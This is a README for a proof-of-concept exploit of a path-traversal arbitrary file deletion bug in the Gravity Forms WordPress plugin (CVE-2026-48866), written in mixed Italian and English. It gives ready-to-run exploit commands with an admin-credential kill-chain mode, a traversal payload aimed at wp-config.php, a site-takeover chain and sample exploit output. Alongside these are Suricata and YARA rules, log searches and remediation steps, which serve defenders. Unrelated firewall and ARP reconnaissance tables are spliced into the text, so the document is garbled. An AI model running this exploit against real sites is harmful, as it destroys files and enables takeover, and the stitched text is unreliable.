
CVE-2026-48866 — Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal (CVSS 9.6)
---``` ┌───────────────────────────────────────────────────────────┐ │ │ │ C V E - 2 0 2 6 - 4 8 8 6 6 │ │ │ │ Gravity Forms Path Traversal → Arbitrary File Deletion │ │ │ └───────────────────────────────────────────────────────────┘
<h3 align="center">
<code>gform_uploaded_files</code> accetta <code>../</code> negli URL. Il clic di eliminazione di un amministratore attiva la cancellazione arbitraria di file.
</h3>
<p align="center">
<a href="https://nvd.nist.gov/vuln/detail/CVE-2026-48866">NVD</a> •
<a href="https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability">Patchstack</a> •
<a href="https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422">Commit corretto</a> •
<a href="https://github.com/codewurker/gravityforms">Mirror del sorgente</a>
</p>
---
## Indice
<table>
<tr>
<td width="50%">
**Exploit**
- [Avvio rapido](#avvio-rapido)
- [Come funziona](#come-funziona)
- [Impatto](#impatto)
- [Uso](#uso)
</td>
<td width="50%">
**Difesa**
- [Analisi tecnica approfondita](#analisi-tecnica-approfondita)
- [Rilevamento](#rilevamento)
- [Risoluzione](#risoluzione)
- [Riferimenti](#riferimenti)
</td>
</tr>
</table>
---
## Avvio rapido```
┌─────────────────────────────────────────────────────────────────────┐
│ REQUIREMENTS │
│ ─────────────────────────────────────────────────────────────── │
│ Target WordPress + Gravity Forms ≤ 2.10.0.1 │
│ Form Public form with a file upload field │
│ Python 3.8+ with requests │
│ Auth None (injection) / Admin creds (trigger) │
└─────────────────────────────────────────────────────────────────────┘
arp -aEsegue una scansione ARP per identificare i dispositivi sul segmento di rete locale, incluso il gateway predefinito. Questo è utile perché il traffico ARP spesso bypassa le regole del firewall.
| Command | Description | Result |
|---|---|---|
arp -a | Mostra le attuali voci ARP interrogando la cache ARP. Visualizza la mappatura tra indirizzi IP e indirizzi MAC dei dispositivi sulla rete locale. Questo è utile per identificare se la macchina sta comunicando con un gateway o altri host, anche se il firewall blocca altro traffico. |
| `arp -a` | Se questo comando mostra una voce per l'indirizzo IP del router, indica che la macchina ha recentemente comunicato con il router. La mancanza di voci ARP può significare che la cache ARP è stata cancellata, o che la rete è isolata. | |
### `ping -n 1 <router_ip>`
Tenta di inviare una singola richiesta Echo ICMP. Molti firewall bloccano ICMP, ma se viene ricevuta una risposta, rivela la presenza di un host e la capacità di comunicare a livello IP.
| Command | Description | Result |
|---------|-------------|--------|
| `ping -n 1 <target>` | Invia una singola richiesta Echo ICMP al target. Se ha successo, ICMP non è bloccato. Se fallisce, ICMP potrebbe essere filtrato. | ```
Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=14ms TTL=117
``` |
Nota: Molti sistemi e reti moderni bloccano ICMP per impostazione predefinita, quindi un fallimento non significa necessariamente che sia presente un firewall.
## Firewall Rules Detection
Questo modulo tenta di creare un quadro abbastanza completo delle regole del firewall applicate al sistema, che si tratti di iptables, nftables, pf o Windows Firewall.
| Command | Description | Result |
|---------|-------------|--------|
| `iptables -L -n -v` | Rileva se iptables è presente e elenca le regole. Questo è il firewall standard di Linux. | ```
Chain INPUT (policy DROP 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0
``` |
| `nft list ruleset` | Rileva se nftables è presente e elenca le regole (firewall Linux più recente). | ```
table inet filter {
chain input {
type filter hook input priority 0; policy drop;
ct state established,related accept
}
}
``` |
| `netsh advfirewall firewall show rule name=all` | Rileva le regole del firewall di Windows (richiede privilegi di amministratore). | ```
Rule Name: File and Printer Sharing (Echo Request - ICMPv4-In)
Enabled: Yes
Direction: In
Profiles: Domain,Private,Public
...
``` |
| `pfctl -sr` | Rileva se pf (Packet Filter) è presente e elenca le regole (BSD/macOS). | ```
block in all
pass in proto tcp from any to any port = ssh
pass out all
``` |
| `systemctl status iptables` | Verifica se il servizio iptables è in esecuzione (sistemi systemd). | ```
● iptables.service - iptables firewall
Loaded: loaded (/usr/lib/systemd/system/iptables.service; enabled)
Active: active (exited) since Mon 2023-01-01 00:00:00 UTC; 1 day ago
``` |```bash
git clone https://github.com/0xABCD01/CVE-2026-48866.git
cd CVE-2026-48866
pip install requests
# Inject only (unauthenticated — file dies when admin cleans entries)
python3 poc.py -t https://test.com -f 1 -i 3
# Full kill chain (admin creds provided — immediate deletion)
python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'
┌───────────────────────────────────────────────────────────────────────┐ │ PHASE 1 — INJECTION │ │ (Unauthenticated — any visitor) │ ├───────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────┐ POST gform_uploaded_files ┌──────────────────┐ │ │ │ Attacker │ ──────────────────────────────── │ WordPress AJAX │ │ │ └─────────┘ {"input_3": [{"url": │ admin-ajax.php │ │ │ ".../../../../wp-config.php"}] └────────┬─────────┘ │ │ │ │ │ esc_url_raw() → OK (doesn't strip ../) │ │ │ is_valid_url() → OK (../ is valid URL) │ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ wp_postmeta │ │ │ │ (entry stored │ │ │ │ WITH ../) │ │ │ └────────┬─────────┘ │ └──────────────────────────────────────────────────────────┼────────────┘ │ ┌─────────────────────────────┘ │ (hours, days, or weeks pass...) ▼ ┌───────────────────────────────────────────────────────────────────────┐ │ PHASE 2 — DELETION │ │ (Admin deletes entry — routine cleanup) │ ├───────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────┐ delete_entry(42) ┌──────────────────┐ │ │ │ Admin │ ──────────────────────────────── │ Gravity Forms │ │ │ └─────────┘ └────────┬─────────┘ │ │ │ │ │ get_physical_file_path() │ │ │ str_replace(url_base → path_base) │ │ │ ../ SURVIVES in the path │ │ │ ▼ │ │ ┌──────────────────┐ │ │ │ unlink() │ │ │ │ │ │ │ │ /var/www/html/ │ │ │ │ wp-config.php │ │ │ │ → DELETED │ │ │ └──────────────────┘ │ └───────────────────────────────────────────────────────────────────────┘
### La causa principale (3 righe di PHP)```php
// forms_model.php — get_physical_file_path()
// Converts stored URL to filesystem path via string replacement
$path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id );
$file_path = str_replace(
trailingslashit( $path_info['url'] ), // https://target.com/wp-content/uploads/gravity_forms/
trailingslashit( $path_info['path'] ), // /var/www/html/wp-content/uploads/gravity_forms/
$url // .../gravity_forms/../../../wp-config.php
);
// Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php
// OS resolves ../../../ → /var/www/html/wp-config.php
Nessun controllo esiste tra str_replace() e unlink(). Il bug risiede in questo divario.
"Vulnerabilità come questa vengono utilizzate in campagne di sfruttamento di massa che colpiscono migliaia di siti web contemporaneamente." Avviso Patchstack, 2026-06-01
┌─────────────┐ ┌──────────────────┐ ┌─────────────────┐ │ Delete │ │ WordPress shows │ │ Attacker sets │ │ wp-config.php│ ──── │ installer wizard │ ──── │ own DB creds │ └─────────────┘ └──────────────────┘ └────────┬────────┘ │ ▼ ┌─────────────────┐ │ Full admin │ │ access to site │ │ (RCE via themes │ │ /plugin editor)│ └─────────────────┘
**La catena RCE richiede:**
- Server MySQL raggiungibile controllato dall'attaccante
- Installer di WordPress accessibile (non bloccato da hosting/WAF)
- Risultato: l'attaccante ottiene una nuova installazione di WordPress sullo stesso dominio, NON l'accesso ai dati del sito esistente
---
## Utilizzo
### Riferimento comandi```
┌──────────────────────────────────────────────────────────────────────────┐
│ USAGE │
│ ───────────────────────────────────────────────────────────────────── │
│ python3 poc.py [OPTIONS] │
│ │
│ REQUIRED │
│ -t, --target TARGET Target WordPress URL │
│ -f, --form-id ID Gravity Forms form ID │
│ -i, --field-id ID File upload field ID │
│ │
│ OPTIONAL │
│ --file FILE Relative path to delete (default: │
│ wp-config.php) │
│ --depth N ../ count (default: 3) │
│ --trigger Auto-delete via admin login │
│ --admin-user USER Admin username (default: admin) │
│ --admin-pass PASS Admin password (default: admin) │
│ --proxy URL HTTP proxy for intercepting │
│ --verify-only Check target only, don't exploit │
└──────────────────────────────────────────────────────────────────────────┘
Tempo per l'attivazione: Sconosciuto. Dipende dal comportamento dell'amministratore. Ore o settimane.
Tempo per l'attivazione: Secondi.
CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
======================================================
Target: https://test.com
Form ID: 1
Field ID: 3
File: wp-config.php
Depth: 3
Trigger: True
[] === Phase 1: Injecting path traversal payload === [] Fetching form page to get nonce... [+] Got nonce: a1b2c3d4e5f6 [] Crafted payload URL: https://test.com/wp-content/uploads/gravity_forms/../../../wp-config.php [] Submitting form 1 to https://test.com/wp-admin/admin-ajax.php... [*] Response status: 200 [+] Form submitted successfully. Malicious URL stored in entry.
[] === Phase 2: Triggering file deletion as admin === [+] Logged in as admin [+] Found latest entry ID: 42 [] Deleting entry 42... [+] Entry deleted. If the target file existed, it should now be deleted.
[*] Checking target site health... [!!!] Site returned error - wp-config.php may have been deleted!
---
## Approfondimento Tecnico
### Stack di Chiamate: Percorso di Iniezione```
wp_ajax_nopriv_gform_submit_form ← WordPress AJAX, NO AUTH
└─ GF_Ajax_Handler::submit_form()
└─ GFAPI::submit_form()
└─ GFFormDisplay::process_form()
├─ GFFormsModel::set_uploaded_files() [forms_model.php]
│ └─ esc_url_raw( $file['url'] ) ← does NOT strip ../
└─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php]
└─ get_multifile_value()
├─ GFCommon::is_valid_url($url) ← format-only, ../ passes
└─ $uploaded_files[] = $file['url'] ← STORED WITH ../
GFFormsModel::delete_lead() [forms_model.php] └─ GFFormsModel::delete_files( $entry_id ) └─ delete_physical_file( $file_url, $entry_id ) ├─ get_physical_file_path( $url ) │ └─ str_replace( url_base, path_base, $url ) ← ../ PRESERVED ├─ file_exists( $file_path ) ← OS resolves ../ └─ unlink( $file_path ) ← ARBITRARY FILE DELETED
### Vulnerabile vs Corretto
<table>
<tr>
<th width="50%">Vulnerabile (≤ 2.10.0.1)</th>
<th width="50%">Corretto (2.10.1)</th>
</tr>
<tr>
<td>```php
// delete_physical_file() — NO validation
$file_path = self::get_physical_file_path(
$url, $entry_id
);
$file_path = apply_filters(
'gform_file_path_pre_delete_file',
$file_path, $url
);
// ← No check here
if ( file_exists( $file_path ) ) {
$result = unlink( $file_path );
}
GFCommon::get_absolute_path() risolve . e .. percorrendo i segmenti del percorso:```php
public static function get_absolute_path( $path ) {
$path = str_replace( array( '/', '\' ), DIRECTORY_SEPARATOR, $path );
$path = str_replace( '://', '|%%protocol%%|', $path );
$parts = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' );
$absolutes = array();
foreach ( $parts as $part ) {
if ( '.' == $part ) { continue; }
if ( '..' == $part ) {
array_pop( $absolutes );
} else {
$absolutes[] = $part;
}
}
$path = implode( DIRECTORY_SEPARATOR, $absolutes );
return str_replace( '|%%protocol%%|', '://', $path );
}
**`GFCommon::is_file_in_uploads()`** confronta il percorso risolto con la radice degli uploads:```php
public static function is_file_in_uploads( $file ) {
$file_path = self::get_absolute_path( $file );
$root_url = rgar(
GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url'
);
if ( ! str_starts_with( $file_path, $root_url ) ) {
return false;
}
return true;
}
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"../"; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048866; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"%2e%2e"; nocase; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048867; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"|22|url|22|"; distance:0;
content:".."; distance:0; within:200;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048868; rev:1;)
### Host: YARA Rules```yara
rule CVE_2026_48866_Exploit_Payload {
meta:
description = "Detects CVE-2026-48866 payload in HTTP POST data or logs"
cve = "CVE-2026-48866"
severity = "critical"
author = "security-research"
strings:
$gform_param = "gform_uploaded_files"
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f" nocase
$traversal4 = "..%2f" nocase
$url_key = "\"url\""
condition:
$gform_param and $url_key and any of ($traversal*)
}
rule CVE_2026_48866_Vulnerable_Plugin {
meta:
description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix"
cve = "CVE-2026-48866"
severity = "high"
strings:
$plugin_id = "gravityforms"
$vuln_func = "delete_physical_file"
$fix_func = "is_file_in_uploads"
condition:
$plugin_id and $vuln_func and not $fix_func
}
rule CVE_2026_48866_Patched_Plugin {
meta:
description = "Confirms Gravity Forms has the is_file_in_uploads patch"
cve = "CVE-2026-48866"
severity = "informational"
strings:
$plugin_id = "gravityforms"
$fix_func = "is_file_in_uploads"
$fix_helper = "get_absolute_path"
condition:
$plugin_id and $fix_func and $fix_helper
}
INPUT:```bash
yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/
| Regola | Cosa hai trovato |
|---|---|
| `CVE_2026_48866_Exploit_Payload` | Il payload dell'exploit in un log HTTP o nel corpo di una richiesta POST |
| `CVE_2026_48866_Vulnerable_Plugin` | Un'installazione di Gravity Forms senza la correzione |
| `CVE_2026_48866_Patched_Plugin` | Un'installazione di Gravity Forms con la correzione |
### Analisi dei log```bash
# Apache / Nginx access logs — find exploitation attempts
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log
# Gravity Forms debug log — check for blocked deletions
grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log
# Verify your install has the fix
grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/
# → Results in common.php = patched
# → No results = VULNERABLE
Implementare una corretta sanificazione dell'input utente per prevenire attacchi di injection.``` ┌─────────────────────────────────────────────────────────────────────────┐ │ REMEDIATION CHECKLIST │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ [ ] 1. UPDATE Gravity Forms to ≥ 2.10.1 │ │ [ ] 2. VERIFY fix is present (grep for is_file_in_uploads) │ │ [ ] 3. AUDIT access logs for past exploitation attempts │ │ [ ] 4. DEPLOY Suricata/WAF rules as interim protection │ │ [ ] 5. CHECK file integrity (were any core files already deleted?) │ │ [ ] 6. MONITOR for new entries with suspicious file URLs │ │ │ └─────────────────────────────────────────────────────────────────────────┘
| Priorità | Azione | Comando |
|---|---|---|
| P0 | Aggiorna Gravity Forms | WordPress admin → Plugins → Aggiorna |
| P1 | Verifica patch | `grep -r "is_file_in_uploads" wp-content/plugins/gravityforms/` |
| P2 | Controlla i log | `grep -E 'gform_uploaded_files.*\.\./' /var/log/*/access.log` |
| P3 | Distribuisci regole WAF | Vedi la sezione [Rilevamento](#detection) sopra |
---
## Dichiarazione di non responsabilità```
┌─────────────────────────────────────────────────────────────────────────┐
│ LEGAL NOTICE │
│ ───────────────────────────────────────────────────────────────────── │
│ │
│ This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL │
│ PURPOSES ONLY. Unauthorized access to computer systems is illegal │
│ under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse │
│ Directive, and equivalent laws worldwide. │
│ │
│ • Always obtain WRITTEN PERMISSION before testing systems you own. │
│ • You are responsible for complying with all applicable laws. │
│ • The authors assume NO LIABILITY for misuse of this software. │
│ │
│ If you find this vulnerability in production: REPORT IT. │
│ Patchstack: https://patchstack.com/database/ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
| ``` |
| Interface: 192.168.1.100 --- 0x3 |
| Internet Address Physical Address Type |
| 192.168.1.1 00-14-22-01-23-45 dynamic |
| Bersaglio | Effetto | Gravità |
|---|---|---|
wp-config.php | Il sito va offline. WordPress mostra la procedura guidata di installazione. L'attaccante punta il database verso il proprio server per il takeover completo del sito. | CRITICO |
.htaccess | Riscrittura URL e regole di sicurezza scomparse. Elenchi di directory aperti. | ALTO |
wp-content/plugins/wordfence/wordfence.php | Wordfence WAF smette di funzionare. Nessun firewall tra attaccante e sito. | ALTO |
wp-includes/plugin.php | Nessun plugin viene caricato. Il sito smette di funzionare. | CRITICO |
wp-login.php | Admin bloccato. Nessuno può accedere finché non ripristini i file. | MEDIO |
| Versione | Commit | Descrizione |
|---|
| v2.10.0 | 86bf7b9 | Vulnerabile. Nessuna validazione del percorso in delete_physical_file() |
| v2.10.1 | cf2ff65 | Corretto. Aggiunge controllo is_file_in_uploads() prima di unlink() |
| Fonte | Link | Stato |
|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-48866 | Verificato |
| Patchstack Advisory | https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability | Verificato |
| Gravity Forms Changelog | https://docs.gravityforms.com/gravityforms-change-log/ | Verificato |
| Codice sorgente (Mirror) | https://github.com/codewurker/gravityforms | Verificato |
| Commit vulnerabile (v2.10.0) | https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebed | Verificato |
| Commit corretto (v2.10.1) | https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422 | Verificato |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html | Verificato |
| MITRE CVE | https://www.cve.org/CVERecord?id=CVE-2026-48866 | Non ancora popolato |